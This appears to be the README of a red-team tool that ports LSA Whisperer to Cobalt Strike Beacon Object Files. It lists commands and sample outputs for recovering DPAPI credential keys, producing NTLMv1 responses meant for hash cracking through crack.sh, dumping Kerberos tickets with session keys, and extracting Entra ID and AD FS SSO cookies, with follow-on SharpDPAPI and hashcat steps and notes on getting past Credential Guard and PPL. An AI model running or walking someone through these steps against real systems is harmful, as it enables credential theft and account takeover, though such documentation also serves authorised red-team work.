dazzyddos/lsawhisper-bofA Beacon Object File (BOF) that talks directly to Windows authentication packages through the LSA untrusted/trusted client interface, without touching LSASS process memory.
A Cobalt Strike Beacon Object File (BOF) port of LSA Whisperer — the tool that talks directly to Windows authentication packages through the LSA untrusted/trusted client interface, without touching LSASS process memory even when PPL and Credential Guard is enabled.
LSA Whisperer by Evan McBroom (SpecterOps) demonstrated that you can recover DPAPI credential keys, extract cloud SSO tokens, and interact with Kerberos — all through legitimate LsaCallAuthenticationPackage API calls. No memory reads, no process injection, no handles to LSASS.
This project brings those capabilities into C2s as BOFs for use during red team engagements. It never opens a handle to the lsass process and all the calls go through LsaCallAuthenticationPackage (the official client API used to talk to lsass), PPL on LSASS doesn't matter at all. PPL protects the LSASS process from being opened/read/injected.
| Command | Description |
|---|
lsa-credkey [LUID] | Recover DPAPI credential key. Works with Credential Guard. |
lsa-strongcredkey [LUID] | Recover strong DPAPI credential key (Win10+). |
lsa-ntlmv1 [LUID] [challenge] | Generate NTLMv1 response with chosen challenge. Default challenge 1122334455667788 is compatible with crack.sh rainbow tables. |
| Command | Description |
|---|---|
lsa-klist [LUID] | List cached Kerberos tickets. |
lsa-dump [LUID] | Dump all tickets as base64 .kirbi blobs with session keys. |
lsa-purge [LUID] [server] | Purge tickets. Supports selective purge by server name. |
| Command | Description |
|---|---|
lsa-ssocookie [LUID] | Extract Entra ID (Azure AD) SSO cookie via AAD plugin. |
lsa-devicessocookie [LUID] | Extract device SSO cookie. |
lsa-enterprisesso [LUID] | Extract AD FS enterprise SSO cookie. |
lsa-cloudinfo [LUID] | Query cloud provider info, TGT status, DPAPI status. |
LUID: 0 or omit for current session. Hex value (e.g., 0x3e7) to target a specific logon session. Targeting other sessions requires SYSTEM.
beacon> lsa-credkey 0x21d57
[*] MSV1_0 GetCredentialKey
[+] SUCCESS - DPAPI Credential Keys recovered!
[+] CredSize: 0x28 (40 bytes)
[*] Local CredKey (SHA OWF): <20-byte key>
[*] Domain CredKey (NT OWF): <16 or 20-byte key>
Use the recovered key with SharpDPAPI:
SharpDPAPI.exe masterkeys /credkey:<key_hex> /target:<masterkey_path>
beacon> lsa-ntlmv1 0x21d57
[*] MSV1_0 Lm20GetChallengeResponse (NTLMv1 Generation)
[+] NTLMv1 Response generated!
[*] Hashcat (mode 5500):
DOMAIN\user::HOSTNAME::NTResponse:1122334455667788
Submit the response to crack.sh for instant NT hash recovery with the default challenge.
beacon> lsa-ssocookie 0x21d57
[+] SSO Cookie received!
[*] Cookie: ESTSAUTH=<token>
lsa-whisperer-bof/
├── lsa-whisperer.cna # Aggressor script (load this)
├── Makefile
├── include/
│ ├── bofdefs.h # BOF API declarations + DFR imports
│ └── lsa_structs.h # All LSA/MSV1_0/Kerberos/CloudAP structs
├── src/
│ ├── common/
│ │ └── lsa_common.c # Shared LSA init, helpers, output formatting
│ ├── msv1_0/
│ │ └── msv1_0_bof.c # MSV1_0 commands
│ ├── kerberos/
│ │ └── kerberos_bof.c # Kerberos commands
│ └── cloudap/
│ └── cloudap_bof.c # CloudAP/AAD commands
└── build/ # Compiled BOFs (after make)
Each module compiles to an independent BOF. Common code is included at compile time (standard BOF pattern) — no shared libraries or runtime dependencies.
| Context | Capability |
|---|---|
| Current user (unprivileged) | lsa-klist, lsa-ssocookie, lsa-cloudinfo for own session |
SYSTEM (SeTcbPrivilege) | All commands targeting any logon session by LUID |
Enumerate available LUIDs with logonpasswords or klist to find target sessions.
lsa-credkey and lsa-strongcredkey work through Credential Guard. lsa-ntlmv1 is blocked by it.1122334455667788 enables free rainbow table cracking via crack.sh. Custom challenges work but require standard brute-force.lsa-purge with a server filter only removes matching tickets — useful for targeted Kerberos abuse without disrupting the user's session.This project is a BOF port of LSA Whisperer by Evan McBroom (@EvanMcBroom) of SpecterOps. All of the underlying research — the undocumented MSV1_0 protocol messages, the CloudAP/AAD plugin call interface, and the struct definitions that make this possible — is his work.
Key references: